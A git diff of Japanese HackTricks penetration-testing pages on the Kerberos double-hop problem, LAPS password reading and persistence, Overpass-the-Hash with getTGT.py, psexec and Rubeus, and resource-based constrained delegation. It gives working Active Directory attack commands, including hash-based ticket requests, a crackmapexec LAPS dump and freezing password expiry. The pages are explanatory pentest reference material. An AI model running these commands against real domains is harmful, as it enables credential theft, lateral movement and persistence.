* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## はじめに
Kerberosの「ダブルホップ」問題は、**Kerberos認証を2つのホップを介して**使用しようとするときに発生します。たとえば、**PowerShell**/**WinRM**を使用する場合です。
Kerberosの「ダブルホップ」問題は、**Kerberos認証を2つのホップを介して**、例えば**PowerShell**/**WinRM**を使用しようとするときに発生します。
**Kerberos**を介した**認証**が行われると、**資格情報**は**メモリにキャッシュされません**。したがって、mimikatzを実行しても、ユーザーの資格情報をマシンで見つけることはできません。
@ -41,17 +40,17 @@ PCで**制約のない委任**が有効になっている場合、**サーバー
> CredSSP認証は、ユーザーの資格情報をローカルコンピューターからリモートコンピューターに委任します。この慣行は、リモート操作のセキュリティリスクを高めます。リモートコンピューターが侵害された場合、資格情報が渡されると、その資格情報を使用してネットワークセッションを制御することができます。
セキュリティ上の懸念から、**CredSSP**は本番システム、機密ネットワーク、類似環境で無効にすることが強く推奨されます。**CredSSP**が有効かどうかを確認するには、`Get-WSManCredSSP`コマンドを実行できます。このコマンドにより、**CredSSPの状態を確認**でき、**WinRM**が有効になっている場合はリモートで実行することもできます。
セキュリティ上の懸念から、**CredSSP**は本番システム、機密ネットワーク、類似環境で無効にすることが強く推奨されます。**CredSSP**が有効かどうかを確認するには、`Get-WSManCredSSP`コマンドを実行できます。このコマンドにより、**CredSSPの状態を確認**し、**WinRM**が有効になっていればリモートで実行することもできます。
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## 対処法
## 回避策
### Invoke Command
ダブルホップの問題に対処するために、ネストされた `Invoke-Command` を使用する方法が提示されています。これは問題を直接解決するのではなく、特別な構成を必要とせずに回避策を提供します。このアプローチにより、初期の攻撃マシンから実行されたPowerShellコマンドまたは最初のサーバーと事前に確立されたPS-Sessionを介して、セカンダリサーバーでコマンド (`hostname`) を実行できます。以下にその方法を示します:
ダブルホップの問題に対処するために、ネストされた `Invoke-Command` を使用する方法が提示されています。これは問題を直接解決するのではなく、特別な構成を必要とせずに回避策を提供します。このアプローチにより、初期の攻撃マシンから実行されたPowerShellコマンドまたは最初のサーバーと事前に確立されたPS-Sessionを介して、セカンダリサーバーでコマンド (`hostname`) を実行できます。以下に手順を示します:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
@ -60,11 +59,11 @@ Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
```
### リモート PSSession の確立
最初のサーバーとの PS-Session を確立し、`$cred` を使用して `Invoke-Command` を実行することで、タスクを一元化することが提案されています。
最初のサーバーとの PS-Session を確立し、`$cred` を使用して `Invoke-Command` を実行することが、タスクを一元化するために提案されています。
### PSSession 構成の登録
ダブルホップ問題をバイパスするための解決策は、`Register-PSSessionConfiguration` と `Enter-PSSession` を使用することです。この方法は `evil-winrm` とは異なるアプローチを必要とし、ダブルホップの制限を受けないセッションを可能にします。
ダブルホップ問題をバイパスする解決策として、`Register-PSSessionConfiguration` と `Enter-PSSession` を使用する方法があります。この方法は `evil-winrm` とは異なるアプローチが必要であり、ダブルホップの制限を受けないセッションを可能にします。
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
@ -80,7 +79,7 @@ netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP lo
```
#### winrs.exe
`winrs.exe`は、WinRMリクエストを転送するために使用できます。PowerShellの監視が懸念される場合、検出されにくいオプションとして機能します。以下のコマンドは、その使用方法を示しています:
`winrs.exe`は、WinRMリクエストを転送するために使用でき、PowerShellの監視が懸念される場合には検出されにくいオプションとして機能します。以下のコマンドは、その使用方法を示しています:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
@ -94,29 +93,29 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
2. zipファイルを解凍し、`Install-sshd.ps1`スクリプトを実行します。
3. ポート22を開くためのファイアウォールルールを追加し、SSHサービスが実行されていることを確認します。
`Connection reset`エラーを解決するには、アクセス権限を更新して、OpenSSHディレクトリで誰もが読み取りおよび実行アクセスを許可する必要があるかもしれません
`Connection reset`エラーを解決するには、アクセス許可を更新してOpenSSHディレクトリで誰もが読み取りおよび実行アクセスを許可する必要がある場合があります
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
## 参考文献
## 参考
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expertを使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を入手してください
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -4,22 +4,22 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本情報
Local Administrator Password SolutionLAPSは、**管理者パスワード**を**一意でランダムで頻繁に変更された**ものに設定し、ドメインに参加しコンピュータに適用するためのツールです。これらのパスワードは、Active Directory内に安全に保存され、アクセス制御リストACLを介してアクセス権が付与されたユーザのみがアクセスできます。クライアントからサーバへのパスワードの送信のセキュリティは、**Kerberosバージョン5**と**Advanced Encryption StandardAES**の使用によって保証されています。
ローカル管理者パスワードソリューションLAPSは、**管理者パスワード**を**一意でランダムで頻繁に変更された**ものに設定し、ドメインに参加しているコンピュータに適用するためのツールです。これらのパスワードは、Active Directory内に安全に保存され、アクセス制御リストACLを介して権が付与されたユーザのみがアクセスできます。クライアントからサーバへのパスワードの送信のセキュリティは、**Kerberosバージョン5**と**Advanced Encryption StandardAES**の使用によって保証されています。
LAPSの実装により、ドメインのコンピュータオブジェクトには、**`ms-mcs-AdmPwd`**と**`ms-mcs-AdmPwdExpirationTime`**という2つの新しい属性が追加されます。これらの属性は、それぞれ**平文の管理者パスワード**と**その有効期限**を保存します。
@ -36,11 +36,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name,
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
```
### LAPS パスワードアクセス
### LAPSパスワードアクセス
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` から **LAPS ポリシーの生データをダウンロード**し、次に [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) パッケージ **`Parse-PolFile`** を使用してこのファイルを人間が読める形式に変換できます。
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` から **LAPSポリシーの生データをダウンロード**し、次に[**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) パッケージから **`Parse-PolFile`** を使用してこのファイルを人間が読める形式に変換できます。
さらに、**ネイティブ LAPS PowerShell コマンドレット** は、アクセス可能なマシンにインストールされている場合に使用できます:
さらに、**ネイティブLAPS PowerShellコマンドレット**は、アクセス権を持つマシンにインストールされている場合に使用できます。
```powershell
Get-Command *AdmPwd*
@ -61,7 +61,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView**を使用して、**誰がパスワードを読み取ることができ、それを読み取ることができるか**を調べることもできます。
**PowerView**を使用して、**誰がパスワードを読み取ることができ、それを読み取ることができるか**も調べることができます。
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -73,7 +73,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)は、複数の機能を備えたLAPSの列挙を容易にします。\
そのうちの1つは、**LAPSが有効になっているすべてのコンピューター**の**`ExtendedRights`**を解析することです。これにより、**LAPSパスワードを読む権限を特定のグループに委任**している**グループ**が表示されます。\
**ドメインにコンピューターを参加させたアカウント**は、そのホストに対して`All Extended Rights`を受け取り、この権利により**パスワードを読む能力**が与えられます。列挙により、ユーザーアカウントがホスト上のLAPSパスワードを読むことができることが示されるかもしれません。これにより、LAPSパスワードを読むことができる特定のADユーザーを**特定する**のに役立ちます。
**ドメインにコンピューターを参加させたアカウント**は、そのホストに対して`All Extended Rights`を受け取り、この権利により**パスワードを読む能力**が与えられます。列挙により、ユーザーアカウントがホスト上のLAPSパスワードを読むことができることが示される場合があります。これにより、LAPSパスワードを読むことができる特定のADユーザーを**特定する**のに役立ちます。
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -98,15 +98,15 @@ ComputerName Password Expiration
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Crackmapexecを使用してLAPSパスワードをダンプする**
PowerShellへのアクセスがない場合、LDAPを介してこの特権を乱用することができます。
PowerShellへのアクセス権がない場合、LDAPを介してリモートでこの特権を悪用することができます
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
## **LAPS Persistence**
## **LAPSの永続性**
### **有効期限日**
管理者権限を取得すると、将来の有効期限日を設定することで、パスワードを取得し、マシンがパスワードを更新するのを防ぐことが可能です。
一度管理者権限を取得すると、**パスワードを取得**し、**有効期限日を将来に設定**することで、**マシンがパスワードを更新するのを防ぐ**ことが可能です。
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -128,18 +128,18 @@ LAPSの元のソースコードは[こちら](https://github.com/GreyCorbel/admp
## 参考文献
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**することで、あなたのハッキングトリックを共有してください。
* **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
</details>

View file

@ -4,15 +4,15 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -21,7 +21,7 @@
**Overpass The Hash/Pass The Key (PTK)**攻撃は、従来のNTLMプロトコルが制限され、Kerberos認証が優先される環境向けに設計されています。この攻撃は、ユーザーのNTLMハッシュまたはAESキーを利用してKerberosチケットを取得し、ネットワーク内のリソースに不正アクセスすることを可能にします。
この攻撃を実行するためには、最初のステップとして、対象ユーザーアカウントのNTLMハッシュまたはパスワードを取得する必要があります。この情報を確保した後、アカウントのチケット発行チケットTGTを取得することで、攻撃者はユーザーが権限を持つサービスやマシンにアクセスできます。
この攻撃を実行するためには、最初対象ユーザーアカウントのNTLMハッシュまたはパスワードを取得する必要があります。この情報を入手した後、アカウントのチケット発行チケットTGTを取得することで、攻撃者はユーザーが権限を持つサービスやマシンにアクセスできます。
このプロセスは、次のコマンドで開始できます:
```bash
@ -29,16 +29,16 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
AES256を必要とするシナリオでは、`-aesKey [AES key]`オプションを利用できます。また、取得したチケットは、smbexec.pyやwmiexec.pyなどのさまざまなツールと組み合わせて使用することができ、攻撃の範囲を広げることができます。
AES256を必要とするシナリオでは、`-aesKey [AES key]`オプションを利用できます。さらに、取得したチケットは、smbexec.pyやwmiexec.pyなどのさまざまなツールと組み合わせて使用することができ、攻撃範囲が広がります。
_PyAsn1Error_や_KDC cannot find the name_などの問題が発生した場合は、通常、Impacketライブラリを更新するか、IPアドレスの代わりにホスト名を使用して、Kerberos KDCとの互換性を確保することで解決されます。
Rubeus.exeを使用した代替コマンドシーケンスは、このテクニックの別の側面を示しています。
このテクニックの別の側面を示すRubeus.exeを使用した代替コマンドシーケンスは次のとおりです:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
この方法は**Pass the Key**アプローチを模倣し、チケットを直接乗っ取って認証目的で利用します。TGTリクエストの開始は、デフォルトでRC4-HMACの使用を示すイベント`4768: A Kerberos authentication ticket (TGT) was requested`をトリガーし、現代のWindowsシステムではAES256が好まれます。
この方法は、**Pass the Key**アプローチをミラーリングし、チケットを直接乗っ取って認証目的で利用します。TGTリクエストの開始は、デフォルトでRC4-HMACの使用を示すイベント`4768: A Kerberos authentication ticket (TGT) was requested`をトリガーし、しかし、現代のWindowsシステムではAES256が好まれます。
運用セキュリティに準拠し、AES256を使用するには、次のコマンドを適用できます:
```bash
@ -48,18 +48,18 @@ Rubeus.exeを使用した代替コマンドシーケンスは、このテクニ
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れ
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**することで、あなたのハッキングトリックを共有してください。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -2,36 +2,36 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください
- **ハッキングテクニックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## リソースベースの制約付き委任の基礎
これは基本的な[制約付き委任](constrained-delegation.md)に似ていますが、**オブジェクトに対して任意のユーザーを偽装する権限を与える**代わりに、リソースベースの制約付き委任は**オブジェクトに対して任意のユーザーを偽装できるユーザーを設定します**
これは基本的な[制約付き委任](constrained-delegation.md)に似ていますが、**オブジェクトに対して任意のユーザーを偽装する権限を与える**代わりに、リソースベースの制約付き委任は**オブジェクトに対して任意のユーザーを偽装できるユーザーを設定**します。
この場合、制約付きオブジェクトには、**_msDS-AllowedToActOnBehalfOfOtherIdentity_**という属性があり、それに対して他のユーザーを偽装できるユーザーの名前が設定されます。
この場合、制約付きオブジェクトには、**msDS-AllowedToActOnBehalfOfOtherIdentity** という属性があり、それに対して他のユーザーを偽装できるユーザーの名前が設定されます。
この制約付き委任と他の委任との重要な違いは、**マシンアカウントに対する書き込み権限を持つ任意のユーザー**が_**msDS-AllowedToActOnBehalfOfOtherIdentity**_を設定できることです(他の形式の委任では、ドメイン管理者権限が必要でした)。
この制約付き委任と他の委任との重要な違いの1つは、**マシンアカウントに対する書き込み権限GenericAll/GenericWrite/WriteDacl/WritePropertyなどを持つ任意のユーザーが、msDS-AllowedToActOnBehalfOfOtherIdentityを設定できる**ことです(他の形式の委任では、ドメイン管理者権限が必要でした)。
### 新しい概念
制約付き委任では、ユーザーの_userAccountControl_値の中の**`TrustedToAuthForDelegation`**フラグが**S4U2Self**を実行するために必要であると言われていました。しかし、それは完全な真実ではありません。\
実際には、その値がなくても、**サービス**SPNを持っているであれば、**任意のユーザーに対してS4U2Self**を実行できますが、**`TrustedToAuthForDelegation`**を持っている場合、返されるTGSは**Forwardable**になり、そのフラグを持っていない場合、返されるTGSは**Forwardable**になりません。
